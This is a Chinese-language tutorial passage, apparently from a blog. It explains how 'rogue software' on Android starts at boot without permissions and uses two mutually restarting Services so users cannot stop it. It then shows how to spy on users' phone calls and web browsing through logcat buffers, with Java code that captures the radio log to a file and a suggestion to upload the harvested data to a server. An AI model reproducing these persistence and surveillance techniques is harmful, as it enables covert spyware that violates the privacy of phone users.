二 ,流氓软件是怎么打造不死之身的.
0权限程序开机启动,然后再次基础上打造程序的不死之身.
我们知道让我们的程序开机启动不需要配置任何权限,只需要编写一个广播即可.
要想用户无法停止程序的服务,我们可以通过两个Service来实现在第一个Service的onDestroy()方法里面启动第二个Service
在第二个Service的onDestroy()方法里面启动第一个Service,这样就无法停止程序的Service.
然后在广播里面,开机启动几个服务即可.
三,我们的隐私真的安全吗?
我们可以通过程序来监听用户开了什么网页,和谁打了电话等一切信息.
这就需要用到logcat了
logcat分为4个类别的日志信息:
Main /dev/log/main 这就是logcat控制台输出的日志信息
Events /dev/log/events 关于事件的日志信息
Radio /dev/log/radio 与网络通讯相关的日志
System /dev/log/system 与系统相关的日志信息
现在假设你已经配置好了Android环境变量, adb logcat -b radio
然后我们通过DDMS给模拟器打电话(12121)
我们可以从中看到电话号码的踪迹,记录其他用户行为也是一样的.比如我们浏览一个网页就可以通过events事件.
现在我们可以来记录logcat日志信息.然后可以把我们想要的数据上传到服务器.
通过Service来把我们需要的日志写到文件里面
通过Service来把我们需要的日志写到文件里面 try { Process process = Runtime.getRuntime().exec("logcat -b radio"); InputStream is = process.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); //data/data File file = new File(Environment.getExternalStorageDirectory(),"log.txt"); FileOutputStream fos = new FileOutputStream(file); String result = null; while((result = br.readLine())!=null){ System.out.println(result); fos.write(result.getBytes()); fos.flush(); } } catch (Exception e) { e.printStackTrace(); }